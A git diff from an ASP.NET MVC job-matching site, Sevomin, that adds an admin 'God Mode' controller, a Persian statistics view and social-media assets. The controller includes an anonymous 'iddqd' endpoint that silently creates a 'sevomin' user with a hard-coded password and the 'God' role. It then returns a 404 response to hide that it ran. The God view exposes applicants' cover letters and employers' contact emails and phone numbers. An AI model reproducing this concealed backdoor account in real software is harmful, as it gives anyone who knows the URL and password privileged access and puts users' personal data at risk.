diff --git a/Sevomin.WebFrontend.Controllers/GodController.cs b/Sevomin.WebFrontend.Controllers/GodController.cs new file mode 100644 index 0000000..281def8 --- /dev/null +++ b/Sevomin.WebFrontend.Controllers/GodController.cs @@ -0,0 +1,42 @@ +using Microsoft.AspNet.Identity; +using Microsoft.AspNet.Identity.EntityFramework; +using Sevomin.Models; +using Sevomin.Models.Helpers; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Web.Mvc; + +namespace Sevomin.WebFrontend.Controllers +{ + public class GodController : AuthorizedController + { + [Authorize(Roles = "God")] + public ActionResult Index() + { + return View(); + } + + [AllowAnonymous] + public async Task iddqd() + { + UserManager.UserValidator = new UserValidator(UserManager); + RoleManager roleManager = new RoleManager(new RoleStore(SevominDbContext.Current)); + if (!(await roleManager.RoleExistsAsync("God"))) + await roleManager.CreateAsync(new IdentityRole("God")); + if ((await UserManager.FindByNameAsync("sevomin")) == null) + { + var user = new User("sevomin"); + user.SignUpDate = DateTime.Now; + await UserManager.CreateAsync(user, "wePwntheNight"); + } + + var res = await UserManager.AddToRoleAsync((await UserManager.FindByNameAsync("sevomin")).Id, "God"); + + return HttpNotFound(); + } + + } +} diff --git a/Sevomin.WebFrontend/Content/images/social-facebook.png b/Sevomin.WebFrontend/Content/images/social-facebook.png new file mode 100644 index 0000000..ed6f273 Binary files /dev/null and b/Sevomin.WebFrontend/Content/images/social-facebook.png differ diff --git a/Sevomin.WebFrontend/Content/images/social-gp.png b/Sevomin.WebFrontend/Content/images/social-gp.png new file mode 100644 index 0000000..f1326cf Binary files /dev/null and b/Sevomin.WebFrontend/Content/images/social-gp.png differ diff --git a/Sevomin.WebFrontend/Content/images/social-twitter.png b/Sevomin.WebFrontend/Content/images/social-twitter.png new file mode 100644 index 0000000..13a95f6 Binary files /dev/null and b/Sevomin.WebFrontend/Content/images/social-twitter.png differ diff --git a/Sevomin.WebFrontend/Views/God/Index.cshtml b/Sevomin.WebFrontend/Views/God/Index.cshtml new file mode 100644 index 0000000..5a391ca --- /dev/null +++ b/Sevomin.WebFrontend/Views/God/Index.cshtml @@ -0,0 +1,104 @@ +@{ + Layout = null; +} + + + + + + + Sevomin God Mode + + + + + + +
+
+

سلام!

+

یک سری اطلاعات کلی درباره وب سایت سومین در این محل قابل ارائه می باشد.

+
+
+
+
+ + + + + + + + + + + + + + + + + + + +
تعداد کل اعضاتعداد کارفرماهاتعداد متخصصینتعداد فرصت های شغلیتعداد اعلام آمادگی های فرصت های شغلی
@Sevomin.Models.SevominDbContext.Current.Users.Count()@(Sevomin.Models.SevominDbContext.Current.Users.OfType().Count())@(Sevomin.Models.SevominDbContext.Current.Users.OfType().Count())@Sevomin.Models.SevominDbContext.Current.Jobs.Count()@Sevomin.Models.SevominDbContext.Current.DovominJobs.Count()
+
+
+
+
+
+

اعلام آمادگی های فرصت های شغلی

+ @foreach (Sevomin.Models.Avalin avalin in Sevomin.Models.SevominDbContext.Current.Users.OfType().ToList()) + { + if (avalin.Jobs.Count == 0) + { continue; } +

@avalin.DisplayName

+ foreach (var job in avalin.Jobs) + { + if (job.Applications.Count == 0) + { continue; } + + foreach (var application in job.Applications) + { + Sevomin.Models.JobApplicationViewModel apply = new Sevomin.Models.JobApplicationViewModel(application); + +
+
+ از طرف @apply.DovominDisplayName + (@(string.IsNullOrWhiteSpace(job.ContactPersonName) ? "نام وارد نشده" : job.ContactPersonName) + @((string.IsNullOrWhiteSpace(job.ContactPersonEMail) ? "ایمیل وارد نشده" : job.ContactPersonEMail)) + @((string.IsNullOrWhiteSpace(job.ContactPersonPhone) ? "تلفن وارد نشده" : job.ContactPersonPhone))) + +

@apply.JobSummary

+ @if (!string.IsNullOrWhiteSpace(apply.CoverLetter)) + { +
پیغام متخصص:
+
@apply.CoverLetter
+ } + @if (apply.MinimumRequirement) + { +

این متخصص تمامی مهارت های الزامی برای این فرصت شغلی را دارد. همچنین میزان مطابقت ایشان با این فرصت شغلی، @apply.Affinity درصد است.

+ } + else + { +

این متخصص برخی مهارت های الزامی برای این فرصت شغلی را ندارد. همچنین میزان مطابقت ایشان با این فرصت شغلی، @apply.Affinity درصد است.

+ } +
+
+ } + } + } +
+
+
+ + + + + + + + + + + diff --git a/Sevomin.WebFrontend/Views/Shared/MiniApplication.cshtml b/Sevomin.WebFrontend/Views/Shared/MiniApplication.cshtml new file mode 100644 index 0000000..be65dd8 --- /dev/null +++ b/Sevomin.WebFrontend/Views/Shared/MiniApplication.cshtml @@ -0,0 +1,19 @@ +@model Sevomin.Models.JobApplicationViewModel + +
+
+ از طرف @Model.DovominDisplayName +

@Model.JobSummary

+ @if (!string.IsNullOrWhiteSpace(Model.CoverLetter)) + { +
پیغام متخصص:
+
@Model.CoverLetter
+ } + @if (Model.MinimumRequirement){ +

این متخصص تمامی مهارت های الزامی برای این فرصت شغلی را دارد. همچنین میزان مطابقت ایشان با این فرصت شغلی، @Model.Affinity درصد است.

+ } + else { +

این متخصص برخی مهارت های الزامی برای این فرصت شغلی را ندارد. همچنین میزان مطابقت ایشان با این فرصت شغلی، @Model.Affinity درصد است.

+ } +
+
\ No newline at end of file diff --git a/Sevomin.WebFrontend/Views/Shared/SocialMetaTags.cshtml b/Sevomin.WebFrontend/Views/Shared/SocialMetaTags.cshtml new file mode 100644 index 0000000..0428348 --- /dev/null +++ b/Sevomin.WebFrontend/Views/Shared/SocialMetaTags.cshtml @@ -0,0 +1,34 @@ + + + + + + + + + + + + +@* + + + + + + + + *@ + + + + + + + + + + @* + + + *@ \ No newline at end of file